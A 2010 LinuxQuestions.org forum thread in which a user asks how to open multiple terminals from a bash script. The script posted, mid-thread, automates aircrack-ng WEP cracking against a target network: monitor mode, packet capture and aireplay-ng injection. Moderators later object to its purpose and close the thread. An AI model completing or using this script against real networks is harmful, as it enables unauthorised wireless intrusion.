LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Closed Thread
  Search this Thread
Old 01-19-2010, 11:58 PM   #1
lupusarcanus
Senior Member
 
Registered: Mar 2009
Location: USA
Distribution: Arch
Posts: 1,022
Blog Entries: 19

Rep: Reputation: 146Reputation: 146
Wink How do I get 2+ Terminals in BASH script....


Hi.

I am making a bash script. I have captured user input like so...
Quote:
#! /bin/bash
...
echo "What does the ouput above label your wireless card as?
read iface
airodump-ng $iface
And now need to start a new terminal; preserving the read input.
I tried:
Quote:
#! /bin/bash
...
echo "What does the ouput above label your wireless card as?
read iface
airodump-ng $iface
gnome-terminal
But it does not work. Airodump-ng "takes over" and the script does not continue.

How do I make it so that I can make a new Terminal, or allow more commands to take place on the current one, allow the output from airodump-ng to be shown, and keep the caught user input?

I'm using Ubuntu 9.10, GNOME and would like it so that anyone with a GUI Terminal, Konsole or whatever can execute the script successfully.

I'm confused...I looked up on Googe and couldn't find anything! Just "Beginners guide to Bash Scripting" and "How to BASH script" but nothing relevant that answere my question!

Thank You in Advance.

Last edited by lupusarcanus; 01-20-2010 at 12:00 AM.
 
Old 01-20-2010, 12:05 AM   #2
cantab
Member
 
Registered: Oct 2009
Location: England
Distribution: Kubuntu, Ubuntu, Debian, Proxmox.
Posts: 553

Rep: Reputation: 115Reputation: 115
try
Code:
#! /bin/bash
echo "What does the ouput above label you're wireless card as?
read iface
gnome-terminal &
airodump-ng $iface
the & puts gnome-terminal in the background, allowing the script to move on to the next command.

But there is probably a better, more advanced (and more complex to script) solution to the problem you face - namely, to show the output of airodump while accepting more inputs.
 
Old 01-20-2010, 12:18 AM   #3
lupusarcanus
Senior Member
 
Registered: Mar 2009
Location: USA
Distribution: Arch
Posts: 1,022

Original Poster
Blog Entries: 19

Rep: Reputation: 146Reputation: 146
It brought up two terminals at once but still stops on the first Terminal and nothing happens on the second one...
 
Old 01-20-2010, 12:45 AM   #4
quanta
Member
 
Registered: Aug 2007
Location: Vietnam
Distribution: RedHat based, Debian based, Slackware, Gentoo
Posts: 724

Rep: Reputation: 101Reputation: 101
Did you try to use gnome-terminal with "-e" option? Can you explain more details about your purpose?
 
Old 01-20-2010, 01:14 AM   #5
forrestt
Senior Member
 
Registered: Mar 2004
Location: Cary, NC, USA
Distribution: Fedora, Kubuntu, RedHat, CentOS, SuSe
Posts: 1,288

Rep: Reputation: 99
OK, you are missing a quote, but I'm guessing that you aren't in your "real" script. Also, you don't need to echo then read, you can set a prompt in read.
Code:
#!/bin/bash
...
read -p "What does the ouput above label your wireless card as? " iface
export iface
airodump-ng $iface &
gnome-terminal &
Not exactly sure what you are doing, but the '&' should make airodump-ng run in the background and you will be returned to the shell. The export will allow iface to be seen in the new gnome-terminal.

HTH

Forrest
 
Old 01-20-2010, 02:04 AM   #6
lupusarcanus
Senior Member
 
Registered: Mar 2009
Location: USA
Distribution: Arch
Posts: 1,022

Original Poster
Blog Entries: 19

Rep: Reputation: 146Reputation: 146
Hello, I have tried all your suggestion and read man pages and websites and STILL can't figure it out. If it helps, airodump-ng takes the title and full control of the Terminal, as its a running command, like the command 'top', and doesn't stop until user intervention.

I will attach my embarassingly bad script below (its my first 'real' one, and I am using aircrack-ng for it because its something I know the commands and syntax to). Hopefully this makes more sense. I have to allow the airodump-ng command to be visible on the first terminal, and the rest of the commands to run in the 2nd one, up until the next gnome-terminal at the bottom of the script...

Code:
#! /bin/bash
# Cap and Crack version 1.0
echo
echo
echo -n "This script, with the excepttion for a few needed questions, automates aircrack-ng to configure the network interface, capture and inject packets, and crack a WEP 64/128 bit key. Press a key to continue..."
read -n 1

ifconfig
echo
echo
echo
echo "What is your wireless device labled as in the above command?  (e.g. 'wifi0', 'wlan0', 'rausb0', etc.) Enter it, and press [ENTER]."
read iface

service network-manager stop; kill avahi daemon; kill wpa_supplicant; kill dhclient; kill network; kill wicd; kill knetworkmanager
ifconfig $iface down
iwconfig $iface mode monitor
ifconfig $iface up
airodump-ng $iface
gnome-terminal

echo -n "After these next questions, we can begin the process of capturing and cracking the WEP key against your desired network. Keep the first Terminal up, it is needed, and will provide you with valuable information. Use it to answer the following questions. After you fill in the answer, press [ENTER]. Now, hit any key to move on..."
read -n 1
echo
echo

echo "What is the BSSID of the target network? Please include the colons and proper capitilization, as this is extermely important. (Wait a second if your target isn't there yet)"
read bssid
echo
echo

echo "What channel (CH) does it show the target network is on?"
read channel
echo
echo

echo "What is the name of the target network? (e.g. 'linksys)'"
read name
echo
echo
echo

echo -n "Lastly, a short, one line command will be executed below. It will show you the interface you typed earlier with an 'Hwaddr' next to it. It is important that you preserve capitalization and the colons."
read -n 1

ifconfig | grep $iface
echo "What is the Hwaddr?"
read mac
echo
echo

echo -n "We have collected the information needed to proceed. Press any key to continue..."
read -n 1
echo

airodump-ng -c $channel --bssid $bssid -w /home/$USER/capncrack-ivs $iface
gnome-terminal
aireplay-ng -1 6000 -o 1 -q 10 -e $name -a $bssid -h $mac
hopefully that makes it easier?

Last edited by lupusarcanus; 01-20-2010 at 02:22 AM.
 
Old 01-20-2010, 05:05 AM   #7
lupusarcanus
Senior Member
 
Registered: Mar 2009
Location: USA
Distribution: Arch
Posts: 1,022

Original Poster
Blog Entries: 19

Rep: Reputation: 146Reputation: 146
man...Why Won't this Work?

I even tried calling on another script from the first script and it fails.

arg! help
 
Old 01-20-2010, 10:35 AM   #8
Tinkster
Moderator
 
Registered: Apr 2002
Location: earth
Distribution: slackware by choice, others too :} ... android.
Posts: 23,067
Blog Entries: 11

Rep: Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928
I guess you'll have to ask yourself whether the man-page for airodump
knows some sort of batch-mode, as top does, post process output & echo
it, and then expect to read from the same terminal. I don't know of
a simple way of starting off a new shell with extra commands in a
new terminal that will allow you to pass input back to the calling
script, plus it sounds heavily broken in that it requires X to be
running in the first place.



Cheers,
Tink
 
Old 01-20-2010, 11:22 AM   #9
tredegar
LQ 5k Club
 
Registered: May 2003
Location: London, UK
Distribution: Fedora38
Posts: 6,147

Rep: Reputation: 435Reputation: 435Reputation: 435Reputation: 435Reputation: 435
Quote:
echo -n "After these next questions, we can begin the process of capturing and cracking the WEP key against your desired network.
We are not supposed to help you write this sort of software.
Please read the LQ Rules
 
Old 01-20-2010, 01:23 PM   #10
lupusarcanus
Senior Member
 
Registered: Mar 2009
Location: USA
Distribution: Arch
Posts: 1,022

Original Poster
Blog Entries: 19

Rep: Reputation: 146Reputation: 146
@tredegar Jeremy posted a member awards 'Network Security Application of the Year' whic includes snort, which is the same thing, basically. Its for learning purposes. try doing an LQ search of aircrack and you will see that this is a popular thing. It's not being used for malicious purposes.

@Tinkster Are you sure?

I ALMOST got off the ground with this command
Quote:
if [ "$RUNNING_IN_NEW_XTERM" != t ] ; then
RUNNING_IN_NEW_XTERM=t exec xterm -e "$0 $*"
fi
but it just repeated my whole script again, instead of moving onward in the script.

I am thinking I should just do:
Quote:
xterm -e /path/to/another/script
xterm -e /path/to/another/script2
xterm -e /path/to/another/script3
Thank you for replying Tinkster.
 
Old 01-20-2010, 01:32 PM   #11
GrapefruiTgirl
LQ Guru
 
Registered: Dec 2006
Location: underground
Distribution: Slackware64
Posts: 7,594

Rep: Reputation: 556Reputation: 556Reputation: 556Reputation: 556Reputation: 556Reputation: 556
@ leopard,

actually, searching for 'aircrack' threads will turn up a bunch of threads that have been closed.

This here thread is still going, because the OP (you, in this case) are looking for "scripting help", as opposed to "help me make aircrack work".

They are two different issues.

tredegar makes a very valid point (see the LQ-Rules for specifics); if you were asking us to help you get aircrack working, we would not be able to help, because we don't know what you plan to do with it. Since you are just looking for help to get your script and xterms working as you want (and you seem to have figured out air-whatever on your own), we can help (for now )

Best regards,
Sasha
 
Old 01-20-2010, 01:42 PM   #12
lupusarcanus
Senior Member
 
Registered: Mar 2009
Location: USA
Distribution: Arch
Posts: 1,022

Original Poster
Blog Entries: 19

Rep: Reputation: 146Reputation: 146
Quote:
Originally Posted by GrapefruiTgirl View Post
@ leopard,

actually, searching for 'aircrack' threads will turn up a bunch of threads that have been closed.

This here thread is still going, because the OP (you, in this case) are looking for "scripting help", as opposed to "help me make aircrack work".

They are two different issues.

tredegar makes a very valid point (see the LQ-Rules for specifics); if you were asking us to help you get aircrack working, we would not be able to help, because we don't know what you plan to do with it. Since you are just looking for help to get your script and xterms working as you want (and you seem to have figured out air-whatever on your own), we can help (for now )

Best regards,
Sasha
Thank you.
 
Old 01-20-2010, 04:09 PM   #13
tredegar
LQ 5k Club
 
Registered: May 2003
Location: London, UK
Distribution: Fedora38
Posts: 6,147

Rep: Reputation: 435Reputation: 435Reputation: 435Reputation: 435Reputation: 435
@ GrapefruiTgirl,

With respect, I think you have missed the point:

leopard is asking for help with writing a script.

OK, we at LQ will try to help anyone write scripts ....

But what is the purpose of leopard's script? Have you read it?

Its purpose is to crack WEP encrypted WAPs in a simple "lame cracker" way.

I do not think this sort of posting should be tolerated here.

If you disagree, please explain, and I do not wish to hear "He's just asking for "scripting help" so that's OK".

It is not OK, because the purpose of his (thankfully, bad and non-functioning) script is evil.
 
Old 01-20-2010, 05:28 PM   #14
Tinkster
Moderator
 
Registered: Apr 2002
Location: earth
Distribution: slackware by choice, others too :} ... android.
Posts: 23,067
Blog Entries: 11

Rep: Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928
An while I have originally posted a helpful comment I must say I
didn't quite realise what the intention of the thread was ... my
bad. Indeed it looks as if Mr Leopard is trying to write a script
that allows lifeforms of lower wits and ill intention to make use
of cracking software more easily.

With these words I'm closing the thread and ask Mr Leopard to
abstain from such threads in the future.



Cheers,
Tink
 
  


Closed Thread



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
how command is repeated in terminals in bash shell sagsriv Linux - Newbie 4 03-17-2008 03:53 AM
DISCUSSION: Some fun with terminals : script and screen tools keefaz LinuxAnswers Discussion 2 06-15-2005 03:35 AM
script + multiple terminals jnusa Linux - Software 4 12-06-2004 07:11 AM
Bash Prompts with xterm-style terminals somnium Linux - General 1 09-11-2003 08:43 AM
KDE 3.1.1 made terminals use bash as default? red1busta Linux - Newbie 2 03-28-2003 11:39 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie

All times are GMT -5. The time now is 03:16 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration